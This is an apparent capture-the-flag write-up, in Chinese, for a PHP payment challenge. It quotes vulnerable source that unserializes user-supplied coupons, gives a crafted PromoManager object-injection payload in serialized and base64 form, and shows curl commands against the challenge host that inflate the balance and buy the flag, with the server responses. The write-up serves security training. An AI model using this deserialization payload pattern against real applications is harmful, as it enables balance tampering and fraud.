47.99.147.34:24357flag{f8f53167aeb75bafbd4b63f3228bd58b}拿到题目附件后,首先分析源码结构:
web/php-payment/src/
├── index.php # 主页面,初始化 session(余额 20 金币)
├── buy.php # 购买接口,flag 需要 99999 金币
├── config.php # 配置文件,包含 SECRET_SALT
├── models.php # 定义了 PromoManager 类
├── app.js # 前端逻辑
└── api/
├── apply_coupon.php # 优惠券应用接口 ⭐关键文件
└── status.php
在 api/apply_coupon.php 中:
$decoded = base64_decode($couponData);
$promo = @unserialize($decoded); // ⚠️ 直接反序列化用户输入!
用户输入的 Base64 编码的优惠券数据被直接传入 unserialize(),这是一个经典的 PHP 反序列化漏洞。
在 models.php 中定义了 PromoManager 类:
class PromoManager {
public $promo_credit;
public $promo_code;
public function __construct($code, $credit) {
$this->promo_code = $code;
$this->promo_credit = $credit;
}
function __destruct() {
if(isset($this->promo_credit) && is_numeric($this->promo_credit)) {
$_SESSION['balance'] += intval($this->promo_credit);
}
}
}
关键点:__destruct() 析构方法会在对象销毁时自动执行,将 promo_credit 的值加到 $_SESSION['balance'] 上。只要我们构造一个 promo_credit 足够大的 PromoManager 对象,就能获得足够金币购买 flag。
我们需要构造一个 PromoManager 对象,promo_credit 设为 100000(大于 99999):
O:12:"PromoManager":2:{s:12:"promo_credit";i:100000;s:10:"promo_code";s:1:"x";}
Base64 编码:
TzoxMjoiUHJvbW9NYW5hZ2VyIjoyOntzOjEyOiJwcm9tb19jcmVkaXQiO2k6MTAwMDAwO3M6MTA6InByb21vX2NvZGUiO3M6MToieCI7fQ==
# 先访问首页,获取 session cookie
curl -c cookies.txt "http://47.99.147.34:24357/"
# 应用优惠券(触发反序列化,余额 +100000)
curl -b cookies.txt -X POST "http://47.99.147.34:24357/api/apply_coupon.php" \
-d "coupon=TzoxMjoiUHJvbW9NYW5hZ2VyIjoyOntzOjEyOiJwcm9tb19jcmVkaXQiO2k6MTAwMDAwO3M6MTA6InByb21vX2NvZGUiO3M6MToieCI7fQ=="
# 响应:{"success":true,"message":"Coupon processed."}
curl -s -b cookies.txt -X POST "http://47.99.147.34:24357/buy.php" -d "item=flag"
响应:
{"success":true,"message":"购买 successful! Your Flag is [ flag{f8f53167aeb75bafbd4b63f3228bd58b} ]","balance":21}
flag{f8f53167aeb75bafbd4b63f3228bd58b}
| 要素 | 说明 |
|------|------|
| 漏洞类型 | PHP 反序列化(Object Injection) |
| 利用链 | unserialize() → PromoManager::__destruct() → $_SESSION['balance'] += |